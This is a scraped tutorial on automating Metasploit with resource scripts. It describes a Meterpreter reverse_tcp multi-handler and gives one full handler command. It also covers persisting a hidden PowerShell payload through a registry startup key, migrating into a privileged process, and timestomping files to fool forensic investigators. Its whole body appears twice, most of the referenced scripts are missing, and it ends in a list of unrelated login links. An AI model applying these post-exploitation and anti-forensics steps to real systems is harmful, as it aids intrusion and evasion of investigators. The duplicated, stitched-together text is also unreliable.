Resource files can greatly speed up testing and development times as well as allow the user to automate many tasks. Besides loading a resource file from within msfconsole, they can also be passed at startup using the '-r' flag. The simple example below creates a resource file to display the Metasploit version number.
this resource file will load a third-part module tree for the path so you can point Metasploit at your 0-day, exploits, encoders, payloads, if your are developing exploits/auxiliarys/post-modules in ruby then this is the perfect option for you to load our working dir into metasploit framework database...
Lets create a short script to start up multi-handler for us. Here we are using the exploit multi handler to receive our payload, we specify that the payload is a Meterpreter reverse_tcp payload, we set the payload option, we set local host option, we make sure that the multi handler will not exit once it receives a session since we might need to re-establish one due to an error or we might be testing under different versions of Windows from different target hosts.
"Automation is the name of the Pentest game (hd moore)"
Metasploit auto run scripts are great when you need a module to run automatically post exploitation. Getting a single script to run post meterpreter is pretty easy, but what if you wanted multiple post scripts to run? From the msfconsole prompt run:
msf > set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
Now save the file autoruncommands.rc inside of the root folder. And run it like this:
msf > run multi_console_command -rc /root/autoruncommands.rc
Or run it on the multi-handler using AutoRunScript= like this:
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=666 AutoRunScript='multi_console_command -rc /root/autoruncommands.rc' E
This way we only need to config in the handler the AutoRunScript= to point to our resource file, so everytime the handler opens a session the AutoRunScript= will run all post-exploitation modules writen inside 'autocommands.rc' file.
"GO FURTHER IN POST-EXPLOITATION 'POST-AUTO.RC'"
The follow example shows how we can persiste a payload in post-exploitation time. Lets say that we have build befor the powershell.bat payload and hidden.vbs script to execute powershell.bat in one hidden CMD windows, So how to persiste the powershell.bat using resource files?
we use the listenner 'AutoRunScript' flag to lunch the post-auto.rc file containing instructions to migrate the current session to winint.exe priviliged process, upload the 2 files and insert a registry value in targets regedit. This way when the Listenner (multi-handler) recibes the remote connection it will lunch the 'post-auto.rc' againts the currente meterpreter session open (ID 1)...
Some metasploit developers are using resource files to clean recent configs done at post-exploitation time. 'darkoperator' developed the 'persistence.rb' to upload one meterpreter_reverse payload and one vbscript file, containing instructions to add a registry key (startup) pointing to the path were the payload its stored in target system, the module will also output one resource file to revert the changes made.
"persistence.rb script by darkoperator (cleanup function)"
In this next example we are going to build one resource file (clean_post-auto.rc) to revert the configs made in target host by the action of 'post-auto.rc' previous example "persist a payload in post exploitation time" cleanup script.
In this next example we are going to use Nmap framework to scan our LOCAL LAN in search of live hosts, and output the logfile in [.xml] format, then we are going to build one resource file [msfdb.rc] to be hable to port the [.xml] logfile to metasploit database, so the hosts found can be accessed in metasploit...
"scanning using nmap"nmap-sV-Pn-p1-1000-O--open-oX/root/Random-Hosts.xml192.168.1.0/24"build resource file"touchmsfdb.rcecho'db_import /root/Random-Hosts.xml'>>/root/msfdb.rcecho'hosts'>>/root/msfdb.rcecho'services'>>/root/msfdb.rc"start metasploit database"servicemetasploitstart>/dev/null2>&1msfconsole-r/root/msfdb.rc"clean database"msf>hosts-dmsf>services-d
Sometimes in post-exploitation we need to cover our tracks in target system to fool forensics, one way to do that its to manipulate the MACE values (timestomp) of a file or a directory (recursive).
In the follow example we are going to upload a file to target host and change its MACE value to another date/time so the file appears to be created/accessed in the year 2013, the "-r" flag will change the MACE of all files inside temp folder.
Resource files can greatly speed up testing and development times as well as allow the user to automate many tasks. Besides loading a resource file from within msfconsole, they can also be passed at startup using the '-r' flag. The simple example below creates a resource file to display the Metasploit version number.
this resource file will load a third-part module tree for the path so you can point Metasploit at your 0-day, exploits, encoders, payloads, if your are developing exploits/auxiliarys/post-modules in ruby then this is the perfect option for you to load our working dir into metasploit framework database...
Lets create a short script to start up multi-handler for us. Here we are using the exploit multi handler to receive our payload, we specify that the payload is a Meterpreter reverse_tcp payload, we set the payload option, we set local host option, we make sure that the multi handler will not exit once it receives a session since we might need to re-establish one due to an error or we might be testing under different versions of Windows from different target hosts.
Metasploit auto run scripts are great when you need a module to run automatically post exploitation. Getting a single script to run post meterpreter is pretty easy, but what if you wanted multiple post scripts to run? From the msfconsole prompt run:
Now save the file autoruncommands.rc inside of the root folder. And run it like this:
Or run it on the multi-handler using AutoRunScript= like this:
This way we only need to config in the handler the AutoRunScript= to point to our resource file, so everytime the handler opens a session the AutoRunScript= will run all post-exploitation modules writen inside 'autocommands.rc' file.
The follow example shows how we can persiste a payload in post-exploitation time. Lets say that we have build befor the powershell.bat payload and hidden.vbs script to execute powershell.bat in one hidden CMD windows, So how to persiste the powershell.bat using resource files?
we use the listenner 'AutoRunScript' flag to lunch the post-auto.rc file containing instructions to migrate the current session to winint.exe priviliged process, upload the 2 files and insert a registry value in targets regedit. This way when the Listenner (multi-handler) recibes the remote connection it will lunch the 'post-auto.rc' againts the currente meterpreter session open (ID 1)...
Some metasploit developers are using resource files to clean recent configs done at post-exploitation time. 'darkoperator' developed the 'persistence.rb' to upload one meterpreter_reverse payload and one vbscript file, containing instructions to add a registry key (startup) pointing to the path were the payload its stored in target system, the module will also output one resource file to revert the changes made.
"persistence.rb script by darkoperator (cleanup function)"
In this next example we are going to build one resource file (clean_post-auto.rc) to revert the configs made in target host by the action of 'post-auto.rc' previous example "persist a payload in post exploitation time" cleanup script.
In this next example we are going to use Nmap framework to scan our LOCAL LAN in search of live hosts, and output the logfile in [.xml] format, then we are going to build one resource file [msfdb.rc] to be hable to port the [.xml] logfile to metasploit database, so the hosts found can be accessed in metasploit...
Sometimes in post-exploitation we need to cover our tracks in target system to fool forensics, one way to do that its to manipulate the MACE values (timestomp) of a file or a directory (recursive).
In the follow example we are going to upload a file to target host and change its MACE value to another date/time so the file appears to be created/accessed in the year 2013, the "-r" flag will change the MACE of all files inside temp folder.
http://www.securityartwork.es/2012/05/21/uso-eficiente-de-metasploit-resource-scripts/
Video not available
Video not available
Video not available
Last edit: pedro ubuntu 2015-02-23
https://www.automymo.com/change-privacy-settings-on-twitter
https://www.automymo.com/rippling-login
https://www.automymo.com/quickbase-login
https://www.automymo.com/post-photos-and-gifs-on-twitter
https://www.automymo.com/clubready-login
https://www.automymo.com/burlington-credit-card-login
https://www.automymo.com/make-twitter-account-private
https://www.automymo.com/deactivate-twitter-account
https://www.automymo.com/sign-up-for-roblox
https://www.automymo.com/dm-on-twitter
https://www.automymo.com/uber-driver-sign-up
https://www.automymo.com/proliant